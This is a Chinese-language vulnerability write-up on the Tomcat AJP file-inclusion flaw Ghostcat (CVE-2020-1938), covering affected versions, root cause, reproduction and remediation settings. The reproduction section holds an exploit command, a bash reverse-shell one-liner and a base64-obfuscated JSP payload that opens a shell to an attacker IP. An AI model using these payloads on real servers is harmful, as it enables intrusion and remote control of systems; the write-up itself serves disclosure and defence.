Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)


0x01 簡介

Java 是目前 Web 開發中最主流的編程語言,而 Tomcat 是當前最流行的 Java 中間件服務器之一,從初版發布到現在已經有二十多年歷史,在世界范圍內廣泛使用。

Ghostcat(幽靈貓) 是由長亭科技安全研究員發現的存在於 Tomcat 中的安全漏洞,由於 Tomcat AJP 協議設計上存在缺陷,攻擊者通過 Tomcat AJP Connector 可以讀取或包含 Tomcat 上所有 webapp 目錄下的任意文件,例如可以讀取 webapp 配置文件或源代碼。此外在目標應用有文件上傳功能的情況下,配合文件包含的利用還可以達到遠程代碼執行的危害。

0x02 影響版本

Apache Tomcat = 6
7 <= Apache Tomcat <7.0.100
8 <= Apache Tomcat <8.5.51
9 <= Apache Tomcat <9.0.31

0x02 漏洞原理

tomcat默認的conf/server.xml中配置了2個Connector,一個為8080的對外提供的HTTP協議端口,另外一個就是默認的8009 AJP協議端口,兩個端口默認均監聽在外網ip。

tomcat在接收ajp請求的時候調用org.apache.coyote.ajp.AjpProcessor來處理ajp消息,prepareRequest將ajp里面的內容取出來設置成request對象的Attribute屬性。可以通過此種特性從而可以控制request對象的下面三個Attribute屬性

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

再通過控制ajp控制的上述三個屬性來讀取文件,通過操控上述三個屬性從而可以讀取到應用目錄下的任何文件。

0x03 漏洞復現

exp:

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

效果:

python CNVD-2020-10487-Tomcat-Ajp-lfi.py  192.168.1.112 -p 8009 -f /WEB-INF/web.xml

反彈shell

bash -i >& /dev/tcp/192.168.25.1/63000 0>&1

在http://www.jackson-t.ca/runtime-exec-payloads.html網站進行一下轉換

<%
	java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjEvNjMwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	out.print("<pre>");
	while((a=in.read(b))!=-1){
		out.println(new String(b));
	}
	out.print("</pre>");
%>

0x04 修復建議

臨時禁用AJP協議端口,在conf/server.xm l配置文件中注釋掉

<Connector port=”8009″ protocol=”AJP/1.3″redirectPort=”8443″ />

配置ajp配置中的secretRequired跟secret屬性來限制認證
官方下載最新版下載地址:

https://tomcat.apache.org/download-70.cgi

https://tomcat.apache.org/download-80.cgi

https://tomcat.apache.org/download-90.cgi

https://github.com/apache/tomcat/releases

其他防護措施

如果相關用戶暫時無法進行版本升級,可根據自身情況采用下列防護措施。

一、若不需要使用Tomcat AJP協議,可直接關閉AJP Connector,或將其監聽地址改為僅監聽本機localhost。

具體操作:

(1)編輯 <CATALINA_BASE>/conf/server.xml,找到如下行

(<CATALINA_BASE> 為 Tomcat 的工作目錄):

<Connector port=”8009″protocol=”AJP/1.3″ redirectPort=”8443″ />

(2)將此行注釋掉(也可刪掉該行):

<!–<Connectorport=”8009″ protocol=”AJP/1.3″redirectPort=”8443″ />–>

(3)保存后需重新啟動Tomcat,規則方可生效。

二、若需使用Tomcat AJP協議,可根據使用版本配置協議屬性設置認證憑證。

使用Tomcat 7和Tomcat 9的用戶可為AJP Connector配置secret來設置AJP協議的認證憑證。例如(注意必須將YOUR_TOMCAT_AJP_SECRET更改為一個安全性高、無法被輕易猜解的值):

<Connector port=”8009″protocol=”AJP/1.3″ redirectPort=”8443″address=”YOUR_TOMCAT_IP_ADDRESS” secret=”YOUR_TOMCAT_AJP_SECRET”/>

使用Tomcat 8的用戶可為AJP Connector配置requiredSecret來設置AJP協議的認證憑證。例如(注意必須將YOUR_TOMCAT_AJP_SECRET更改為一個安全性高、無法被輕易猜解的值):

<Connector port=”8009″protocol=”AJP/1.3″ redirectPort=”8443″address=”YOUR_TOMCAT_IP_ADDRESS”requiredSecret=”YOUR_TOMCAT_AJP_SECRET” />


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM